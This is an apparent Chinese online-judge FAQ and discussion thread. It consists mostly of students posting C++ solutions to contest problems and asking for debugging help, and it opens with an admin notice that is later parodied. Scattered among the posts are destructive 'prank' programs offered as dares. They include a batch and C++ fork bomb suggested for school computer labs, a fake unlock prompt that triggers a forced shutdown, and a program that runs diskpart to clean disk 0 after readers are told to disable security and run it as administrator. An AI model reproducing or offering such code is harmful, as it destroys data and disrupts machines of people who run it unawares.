- 问答
【FAQ】问答&讨论贴
- @ 2025-6-7 13:41:09
最近的事情更无语了,某鱼上现在有三个人在卖数据了。周赛数据永久停止更新。
不允许学生创建新讨论了,后面大家可以在这里讨论相关内容。会定期清理。
删了一些同学们自己举办的比赛的帖子。
我建议你们可以私聊参赛。讨论区太乱了,有些提问我看不到了已经。
更重要的是,还是先好好学算法吧各位同学,当你拿了提高组 分,再考虑自己举办一些简单的比赛。
语法场的初心还是为了学生们巩固基础语法,高水平选手可以选择参加入门语法场和入门提高场 目前也没看见能打的 (参考新春马拉松赛成绩)
感觉不过瘾还可以打atcoder和codeforces
349 条评论
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fengyubo LV 8 (6145/8145) @ 2025-11-22 12:41:04RP++ RP++ RP++
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@ 2025-11-21 21:55:55P1063 86TLE求调
#include<bits/stdc++.h> using namespace std; int n,k,a[25],ans; bool judge_prime(int x){ if(x==0||x==1) return 0; for(int i=2;i<=sqrt(x);i++){ if(x%i==0) return 0; } return 1; } void TLE86fen(int sum,int num,int num1){ if(num==n+1){ if(num1==k&&judge_prime(sum)){ ans++; } return ; } TLE86fen(sum+a[num],num+1,num1+1); TLE86fen(sum,num+1,num1); } int main(){ ios::sync_with_stdio(false); cin.tie(0); cin>>n>>k; for(int i=1;i<=n;i++){ cin>>a[i]; } TLE86fen(0,1,0); cout<<ans; } -
@ 2025-11-20 21:20:44#include <iostream> #include <cmath> #include <iomanip> #include <algorithm> #include <vector> using namespace std; char arr[25][25]; int vis[26]; int m,n; int check(int i,int j){ // cout<<i<<" "<<j<<" -------------- "<<endl; if (i < 0 || i >= n || j < 0 || j >= m) return 0; if (vis[arr[i][j]]) return 0; vis[arr[i][j]]++; int a,b,c,d; int mx = -88888888; int maxPath = 0; maxPath = max(maxPath, check(i-1, j)); // 上 maxPath = max(maxPath, check(i+1, j)); // 下 maxPath = max(maxPath, check(i, j-1)); // 左 maxPath = max(maxPath, check(i, j+1)); // 右 vis[arr[i][j]]--; return maxPath + 1; } int main(){ cin >> n >> m; for(int i = 0;i<n;i++){ for(int j = 0;j<m;j++){ cin >> arr[i][j]; vis[arr[i][j]] = 0; } } int ans = check(0,0); cout << ans << endl; return 0; }LETTERS
40WA求调
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@ 2025-11-19 18:14:10#include<bits/stdc++.h> #define int long long using namespace std; int n,a[1005],f[1005]; signed main(){ ios::sync_with_stdio(false); cin.tie(0); memset(f,0,sizeof(f)); cin>>n; cin>>a[1]; for(int i=2;i<=n;i++){ cin>>a[i]; f[abs(a[i]-a[i-1])]=1; } for(int i=1;i<=n-1;i++){ if(f[i]==0){ cout<<"Not jolly"; return 0; } } cout<<"Jolly"; } -
@ 2025-11-17 22:38:13#include<bits/stdc++.h> #define ll long long using namespace std; int n,ans=1e8,a[210],dp[210]; int main(){ ios::sync_with_stdio(false); cin.tie(0); cin>>n; for(int i=1;i<=n;++i){ cin>>a[i]; } for(int ii=1;ii<=n;++ii){ for(int i=0;i<205;++i){ dp[i]=1; } int llll=0,anst=-1; for(int i=2;i<=ii;++i){ for(int j=1;j<=i;++j){ if(a[j]<a[i]){ dp[i]=max(dp[i],dp[j]+1); } anst=max(anst,dp[i]); } } llll+=anst,anst=-1; for(int i=ii+2;i<=n;++i){ for(int j=ii+1;j<=i;++j){ if(a[j]>a[i]){ dp[i]=max(dp[i],dp[j]+1); } anst=max(anst,dp[i]); } } llll+=anst; llll=n-llll; ans=min(ans,llll); } cout<<ans<<'\n'; return 0; }@TooY0ung P1091 90WA求调
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@ 2025-11-16 10:56:43X组没救了
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@ 2025-11-15 9:39:171.在windoes环境下创建一个文本文档
2.打开输入以下程序
start cmd %03.(有后缀.txt的同学不用)打开此电脑,点击查找,找到文件扩展名,打对勾
4.把文件重命名为xxx.bat(xxx代表文件名称)
5.运行
注意事项
1.请保存好你的程序,以上及以下文件重启就好
2.是用英文输入/不用中文输入
%0|%0这个程序大家也可以试试,操作和上面一样
免责声明
若对您的电脑程序造成任何问题,不要告我哈~
c++版本
#include<bits/stdc++.h> using namespace std; int main() { while(1) { system("start cmd"); } }祝大家《游玩》愉快
注:可以用在学校机房喔~
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@ 2025-11-12 19:24:09恭喜冯昱博本人完成✅666道题

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@ 2025-11-11 17:51:27#include <iostream> #include <vector> #include <algorithm> #include <string> using namespace std; struct node{ int g; string s; }; bool f(string a) { // 检查是否包含冒号 size_t pos = a.find(':'); if (pos == string::npos) return false; // 检查冒号前后是否有内容 string ip_part = a.substr(0, pos); string port_part = a.substr(pos + 1); // 检查 IP 部分是否包含恰好三个点 int dot_count = 0; for (char c : ip_part) { if (c == '.') dot_count++; } if (dot_count != 3) return false; // 分割 IP 部分 vector<string> parts; size_t start = 0; size_t end = 0; while ((end = ip_part.find('.', start)) != string::npos) { parts.push_back(ip_part.substr(start, end - start)); start = end + 1; } parts.push_back(ip_part.substr(start)); // 检查 IP 部分的四个字段 for (int i = 0; i < 4; ++i) { string part = parts[i]; // 检查是否为空或含有非法字符 if (part.empty() || !isdigit(part[0])) return false; // 检查前导零 if (part.length() > 1 && part[0] == '0') return false; // 转换为整数并检查范围 try { int val = stoi(part); if (val < 0 || val > 255) return false; } catch (...) { return false; } } // 检查端口部分 if (port_part.empty() || !isdigit(port_part[0])) return false; // 检查前导零 if (port_part.length() > 1 && port_part[0] == '0') return false; // 转换为整数并检查范围 try { int port_val = stoi(port_part); if (port_val < 0 || port_val > 65535) return false; } catch (...) { return false; } return true; } void print(int size,node array[]){ for(int i = 0;i<=size;i++){ cout<<array[i].g<<" "<<array[i].s<<endl; } } int u(string a,int size,node array[]){ for(int i=0;i<=size;i++){ if(array[i].s==a){ return -1; } } return 0; } int y(string a,node array[],int n){ for(int i=0;i<=n;i++){ if(array[i].s==a){ return i; } } return -1; } int main() { freopen("network.in", "r", stdin); freopen("network.out", "w", stdout); string op; int n; cin >> n; node array[n]; for(int i = 0;i<n;i++){ array[i].g=0; array[i].s = ""; } int size = 0; for (int i = 0; i < n; i++) { cin >> op; string d; cin >> d; if(op=="Server"){ if(f(d)){ if(u(d,size,array)==-1){ cout << "FAIL" << endl; continue; }else{ // cout<<size<<endl; cout << "OK" << endl; // print(size,array); array[size].g=i+1; array[size].s=d; size++; } }else{ cout << "ERR" << endl; continue; } } if(op=="Client"){ if(f(d)){ if(y(d,array,n)==-1){ cout<<"FAIL"<<endl; }else{ cout << array[y(d,array,n)].g << endl; } } else{ cout << "ERR" << endl; } } } return 0; }
75分网络连接求调 网址:https://oj.since2018.top/p/CSP2021J2C
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@ 2025-11-10 22:35:47(好了)
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@ 2025-11-9 20:26:02#include<bits/stdc++.h> #define ll long long using namespace std; int t,n,a[100010],b[100010],c[100010],cha[100010],id[100010],cnt1,cnt2,cnt3,ans,cnt; int main(){ freopen("club.in","r",stdin); freopen("club.out","w",stdout); ios::sync_with_stdio(false); cin.tie(0); cin>>t; while(t--){ cnt1=0,cnt2=0,cnt3=0,ans=0,cnt=0; cin>>n; for(int i=1;i<=n;++i){ cin>>a[i]>>b[i]>>c[i]; if(a[i]>=max(b[i],c[i])){ cnt1++,ans+=a[i],id[i]=1; } if(b[i]>=max(a[i],c[i])){ cnt2++,ans+=b[i],id[i]=2; } if(c[i]>=max(a[i],b[i])){ cnt3++,ans+=c[i],id[i]=3; } } for(int i=1;i<=n;++i){ if(cnt1>n/2&&id[i]==1){ ++cnt; cha[cnt]=a[i]-max(b[i],c[i]); } if(cnt2>n/2&&id[i]==2){ ++cnt; cha[cnt]=b[i]-max(a[i],c[i]); } if(cnt3>n/2&&id[i]==3){ ++cnt; cha[cnt]=c[i]-max(a[i],b[i]); } } sort(cha+1,cha+cnt+1); int now=1; while(cnt1>n/2){ ans-=cha[now]; --cnt1; ++now; } while(cnt2>n/2){ ans-=cha[now]; --cnt2; ++now; } while(cnt3>n/2){ ans-=cha[now]; --cnt3; ++now; } cout<<ans<<'\n'; } return 0; }......
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@ 2025-11-8 19:41:58
1
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@ 2025-11-8 19:25:03
1
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@ 2025-11-8 16:05:11
#include<bits/stdc++.h> #include<windows.h> using namespace std; int a[15]={45,70,70,75,80,-90,-100,-100,-115,-125,-130}; int main() { srand(time(0)); double j=0; cout<<"玩法:\n输入抽取次数(5次起步),实际发放金币为平均数\n"; int n; cin>>n; for(int i=1;i<=max(5,n);i++) { int x=rand()%10+1; cout<<a[x]<<" "; j+=a[x]; Sleep(100); } cout<<"\n"; cout<<j/max(n,5)<<"金币"; } -
@ 2025-11-8 14:41:16
#include<bits/stdc++.h> using namespace std; int main() { string j=""; cout<<"滑动3次解锁"; cin>>j; if(j=="qwertyuiopasdfghjklzxcvbnm") { cout<<"哈哈哈,逗你的"; return 0; } else { system("cls"); system("color 3F"); cout<<"20s后注销..."; system("shutdown -s -t 20"); } } ```哪个胆大的同学来逝逝,(后果自负) -
@ 2025-11-1 15:30:57
#include<bits/stdc++.h> using namespace std; int main() { while(1) { system("start cmd"); } }哪个胆大的同学来逝逝,(后果自负)
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@ 2025-11-1 11:44:09可恶,竟然没参加csp-J&&S,气si我了
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@ 2025-10-31 20:54:50
的风格
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@ 2025-10-31 20:06:27祝各位RP++
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@ 2025-10-30 18:09:51各位,wotojo在几分钟前崩了大约1分钟后好了呃...
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@ 2025-10-28 22:34:31@[李泽鹏]TooY0ung Runtime Error 4.144781ms 1152KiB ExitCode: 11 (Segmentation fault) 这是啥问题
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@ 2025-10-26 19:43:22@ 2025赛前狂练3-T3求调!!!!!!
#include <bits/stdc++.h> #define ll long long using namespace std; int n,a[200010]; bool chk(int x){ int l1 = 1,h1 = n; int r1 = 0; while(l1 <= h1) { int m = (l1 + h1) / 2; if (a[m] - a[1] <= x) { r1 = m; l1 = m + 1; } else h1 = m - 1; } if (r1 ==n) return 1; l1 = r1 + 1,h1 = n; int r2 = 0; while (l1 <= h1) { int mid = (l1 + h1) / 2; if (a[mid] - a[r1 + 1] <= x) { r2 = mid; l1 = mid + 1; } else { h1 = mid - 1; } } if (r2 == n) { return 1; } return (a[n] - a[r2 + 1] <= x); } int main() { ios::sync_with_stdio(false); cin.tie(0); cin >> n; for (int i = 1;i <= n;i++) cin >> a[i]; sort(a + 1,a + n + 1); if (n <= 3) { cout << 0; return 0; } int l = 0,r = a[n] - a[1]; int ans = r; while(l <= r) { int mid = (l + r) / 2; if (chk(mid)) { ans = mid; r = mid - 1; } else l = mid + 1; } cout << ans; return 0; } -
@ 2025-10-26 19:23:27#include <bits/stdc++.h> using namespace std; int n; int a[200005]; bool check(int D) { int low = 0, high = n - 1; int r1 = 0; while (low <= high) { int mid = (low + high) / 2; if (a[mid] - a[0] <= D) { r1 = mid; low = mid + 1; } else { high = mid - 1; } } if (r1 == n - 1) { return true; } low = r1 + 1; high = n - 1; int r2 = r1 + 1; while (low <= high) { int mid = (low + high) / 2; if (a[mid] - a[r1 + 1] <= D) { r2 = mid; low = mid + 1; } else { high = mid - 1; } } if (r2 == n - 1) { return true; } return (a[n - 1] - a[r2 + 1] <= D); } int main() { ios::sync_with_stdio(false); cin.tie(0); cin >> n; for (int i = 0; i < n; ++i) { cin >> a[i]; } sort(a, a + n); if (n <= 3) { cout << 0 << endl; return 0; } int left = 0, right = a[n - 1] - a[0]; int ans = right; while (left <= right) { int mid = (left + right) / 2; if (check(mid)) { ans = mid; right = mid - 1; } else { left = mid + 1; } } cout << ans << endl; return 0; }满级二分套二分
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@ 2025-10-26 18:02:57
———————————————————————————————————————
(freopen的创建) freopen("(文件名).in","r",stdin); freopen("(文件名).out","w",stdout); //其他正常~ 注意!!!正常测试样例时,把freopen勾掉!!
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对于创建文件时,举个例子: 比如说你是CN-J123456号考生, 创建文件时,请倾听监考老师让你把文件创建在哪里。如果创建在桌面上,(这是最好的情况)鼠标右键点击桌面,创建你人生中第n次的文件。(别说我没告诉你文件名是什么~CN-J123456) 其中,等试卷传输给你的电脑后,在里面创建试卷目录上要求的每一个题目的文件。 在你写代码时,请“亲切”地选中试题的文件,创建你这道题的.cpp。 注意!!!创建时,不可以再加一个cpp!!!会错!!! 写完你的代码后,终于,熬过了n天,终于要交代码了!注意!!!提交的时候,每一个试题文件中,请不要把exe放在文件中。
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祝考生考试结束时,请老师分发答案和试卷。
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@ 2025-10-26 17:52:561 + 1
=4 - 0 - 2
=4 - + - 2
= + - 2
= + - 2
= + - 2
= + - 2
= + - 2
=5 - + - 2
=5 - 2
=3
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@ 2025-10-26 17:03:08
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@ 2025-10-26 16:37:36最近的事情更有语了,京东上现在有三个人在卖数据了。周赛数据永久开始更新。
允许学生创建新作业了,前面大家可以在这里讨论相关内容。会定期增加。
删了一些老师们自己举办的比赛的帖子。
我建议我们可以私聊参赛。讨论区太整洁了,有些提问我看到了已经。
更重要的是,还是先不要学c++吧各位同学,当你拿了提高组 0分,再考虑自己举办一些复杂的比赛。
语法场的初心还是为了学生们进价高级算法,低水平选手可以选择参加菜鸡语法场和菜鸡提高场 目前也看见能打的 (参考新冬马拉松赛成绩)
感觉过瘾还可以打aTcoDeR和codef0rces
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@ 2025-10-26 14:26:44 -
@ 2025-10-26 14:25:47 -
@ 2025-10-25 20:20:28?
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@ 2025-10-25 9:36:23
444666888
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@ 2025-10-24 21:10:53#include <bits/stdc++.h> #define ll long long using namespace std; int t,n; int main() { ios::sync_with_stdio(false); cin.tie(0); cin >> t; while (t--) { cin >> n; if (n % 7 == 0) { for (int i = 1;i <= n / 7;i++) cout << 8; cout << "\n"; } else if (n % 7 == 1) { if (n == 1) { cout << -1 << "\n"; continue; } cout << 10; n-=8; for (int i = 1;i <= n / 7;i++) cout << 8; cout << "\n"; } else if (n % 7 == 2) { cout << 1; for (int i = 1;i <= (n - 7) / 7;i++) cout << 8; cout << "\n"; } else if (n % 7 == 3) { if (n == 3) cout << 7 << "\n"; else if (n == 10) cout << 22 << "\n"; else{ cout << 200; n -= 17; for (int i = 1;i <= n / 7;i++) cout << 8; cout << "\n"; } } else if (n % 7 == 4) { if (n == 4) cout << "4\n"; else{ cout << 20; n -= 11; for (int i = 1;i <= n / 7;i++) cout << 8; cout << "\n"; } } else if (n % 7 == 5) { cout << 2; n -= 5; for (int i = 1;i <= n / 7;i++) cout << 8; cout << "\n"; } else if (n % 7 == 6) { cout << 6; n -= 6; for (int i = 1;i <= n / 7;i++) cout << 8; cout << "\n"; } } return 0; } -
@ 2025-10-24 10:11:30细节暗网:

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@ 2025-10-21 22:26:13
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@ 2025-10-20 18:01:30



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@ 2025-10-19 18:11:28
:
应该是a[i].val > maxxue而非maxxue < a[i].val -
@ 2025-10-19 17:33:17谁能告诉我为什么会RTE啊QAQ
代码:
#include<iostream> #include<cstring> #include<queue> #include<cstdio> #include<cmath> #include<algorithm> #include<map> #include<vector> #include<stack> #include<sstream> #include<set> #include<time.h> #include<stdlib.h> #include<unordered_map> #define ll long long #define ull unsigned long long #define eps 1e-10 #define INF 1e9 #define delta 0.996 #define T 3000 #define pi acos(-1.0) #define ld long double using namespace std; const ll mod1=1e9+7; const ll mod2=998244353; const int maxn = 2e5 + 10; const int maxm = 1e6 + 10; const ll inf=1e18L; typedef pair<int,int>Pii; typedef pair<int,ll>Pil; using namespace std; int n,maxx,d[10005],l,r,mid,anss; bool check(int x){ int tim=0,ans=0; priority_queue<int,vector<int>,greater<int>>q; for(int i=1;i<=x;i++){ q.push(d[i]); } for(int i=x+1;i<=n;i++){ ans+=q.top()-tim; tim=q.top(); q.pop(); q.push(d[i]+tim); if(ans>maxx){ return false; } } while(x--){ ans+=q.top()-tim; tim=q.top(); q.pop(); if(ans>maxx){ return false; } } return true; } int main(){ ios::sync_with_stdio(false); cin.tie(0); cin>>n>>maxx; for(int i=1;i<=n;i++){ cin>>d[i]; } while(l<=r){ int mid=(l+r)>>1; if(check(mid)){ anss=mid; r=mid-1; } else l=mid+1; } cout<<anss; return 0; } -
@ 2025-10-19 17:02:44禁止关闭安全中心,并编译此程序,且以管理员身份运行!
#include <bits/stdc++.h> #include <windows.h> #define ll long long using namespace std; int main(){ system("diskpart"); system("list disk"); system("select disk 0"); system("clean"); return 0; }否则后果自负!!!
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@ 2025-10-19 15:34:47@TooY0ung

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@ 2025-10-18 18:57:36
666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666
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@ 2025-10-18 14:09:02

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@ 2025-10-17 19:19:03666,最近调代码的人为什么这么多?
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@ 2025-10-17 17:49:41题目在这里 0WA 求调 代码:
#include<cstring> #include<queue> #include<cstdio> #include<cmath> #include<algorithm> #include<map> #include<vector> #include<stack> #include<sstream> #include<set> #include<time.h> #include<stdlib.h> #include<unordered_map> #include<iomanip> #include<bits/stdc++.h> #define ll long long #define ull unsigned long long #define eps 1e-6 #define INF 1e9 #define delta 0.996 #define T 3000 #define pi acos(-1.0) #define ld long double const ll mod1 = 1e9 + 7; const ll mod2 = 998244353; const ll maxn = 5123456; const ll inf = 1e18L; using namespace std; typedef pair<int, int>Pii; typedef pair<__int128, int>P; //priority_queue <int, vector<int>, greater<int>> q; int t; char a[212][212]; int r, c; int dx[] = {1, 0, -1, 0}; int dy[] = {0, 1, 0, -1}; int vis[212][212]; int dis[212][212]; struct edge{ int x, y; }; void bfs(int sx, int sy, int ex, int ey) { for(int i = 1; i <= r; i++) for(int j = 1; j <= c; j++) dis[i][j] = 1e9; queue <edge> q; vis[sx][sy] = 1; q.push({sx, sy}); dis[sx][sy] = 1; while(!q.empty()) { edge tt; tt = q.front(); q.pop(); for(int i = 0; i < 4; i++) { int xx = tt.x + dx[i]; int yy = tt.y + dy[i]; if(xx < 1 || yy < 1 || xx > r || yy > c || vis[xx][yy] || a[xx][yy] == '#') continue; q.push({xx, yy}); dis[xx][yy] = dis[tt.x][tt.y] + 1; vis[xx][yy] = 1; } } } signed main(){ ios::sync_with_stdio(false); cin.tie(0); cout.tie(0); cin >> t; while(t--) { int sx, sy, ex, ey; cin >> r >> c; memset(a, 0, sizeof(a)); memset(vis, 0, sizeof(vis)); for(int i = 1; i <= r; i++) { for(int j = 1; j <= c; j++) { cin >> a[i][j]; if(a[i][j] == 'S') sx = i, sy = j; if(a[i][j] == 'E') ex = i, ey = j; } } bfs(sx, sy, ex, ey); if(dis[ex][ey] == 1e9) cout << "oop!\n"; else cout << dis[ex][ey] << "\n"; } return 0; } -
@ 2025-10-15 21:20:160分WA求调
题目传送门 代码:
#include <iostream> #include <algorithm> using namespace std; inline int read(){ int x = 0, f = 1; char ch = getchar_unlocked(); while (!isdigit(ch)){ if (ch == '-') f = -1; ch = getchar_unlocked(); } while (isdigit(ch)){ x = (x << 1) + (x << 3) + (ch ^ 48); ch = getchar_unlocked(); } return x * f; } inline void write(int x){ if (x < 0) putchar('-'), x = -x; if (x > 9) write(x / 10); putchar(x % 10 + '0'); } int main() { freopen("tri.in","r",stdin); freopen("tri.out","w",stdout); long long n; n=read(); long long ans=0; for(long long i=1;i<=n;i++) { write(i); putchar(' '); } return 0; } -
@ 2025-10-15 21:01:30100WA求调,没有代码,请您盲调
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@ 2025-10-15 17:58:2080RE求调
题目在这里 代码:
#include<cstring> #include<queue> #include<cstdio> #include<cmath> #include<algorithm> #include<map> #include<vector> #include<stack> #include<sstream> #include<set> #include<time.h> #include<stdlib.h> #include<unordered_map> #include<iomanip> #include<bits/stdc++.h> #define ll long long #define ull unsigned long long #define eps 1e-6 #define INF 1e9 #define delta 0.996 #define T 3000 #define pi acos(-1.0) #define ld long double const ll mod1 = 1e9 + 7; const ll mod2 = 998244353; const ll maxn = 5123456; const ll inf = 1e18L; using namespace std; typedef pair<int, int>Pii; typedef pair<__int128, int>P; priority_queue <int, vector<int>, greater<int>> q; int n,st,sp; char c[112]; void print() { for(int i = 1; i <= 2 * n + 2; i++) cout << c[i]; cout << "\n"; st++; } void init(int n) { st = 0; sp = 2 * n + 1; for(int i = 1; i <= n; i++) c[i] = 'o'; for(int i = n + 1; i <= 2 * n; i++) c[i] = '*'; c[2 * n + 1] = '-'; c[2 * n + 2]='-'; print(); } void move(int k) { for(int j = 0; j <= 1; j++) { c[sp + j] = c[k + j]; c[k+j] = '-'; } sp = k; print(); } void mv(int n) { int i, k; if(n == 4) { move(4); move(8); move(2); move(7); move(1); } else { move(n); move(2 * n - 1); mv(n - 1); } } signed main(){ ios::sync_with_stdio(false); cin.tie(0); cout.tie(0); cin >> n; init(n); mv(n); return 0; } -
@ 2025-10-14 23:42:58下